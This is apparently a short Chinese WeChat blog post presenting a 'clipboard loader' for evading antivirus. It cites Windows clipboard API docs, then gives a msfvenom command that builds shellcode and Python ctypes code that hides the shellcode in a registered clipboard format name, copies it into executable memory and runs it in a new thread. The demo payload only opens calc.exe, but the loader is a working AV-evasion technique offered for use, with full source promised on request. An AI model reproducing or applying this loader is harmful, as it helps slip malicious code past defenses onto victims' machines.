https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerclipboardformatw
UINT RegisterClipboardFormatW(
LPCSTR lpszFormat
);
nameid = ctypes.windll.user32.RegisterClipboardFormatW('test')
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboardformatnamew
int GetClipboardFormatNameW( UINT format, LPWSTR lpszFormatName, int cchMaxCount);
这个函数是大致功能我们可以看到啊,检索我们指定格式的剪切板,将它的名称写入缓存区
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len)
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -b="x00" -f py -o 123.py
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)+1, 0x3000, 0x40)
name = ctypes.windll.user32.RegisterClipboardFormatW(buf)
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len(buf)+1)
handle = ctypes.windll.kernel32.CreateThread(0,0,ptr,0,0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle,-1)
源码公众号回复:剪切板加载器
本文始发于微信公众号(XG小刚):花里胡哨免杀之《剪切板加载器》
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论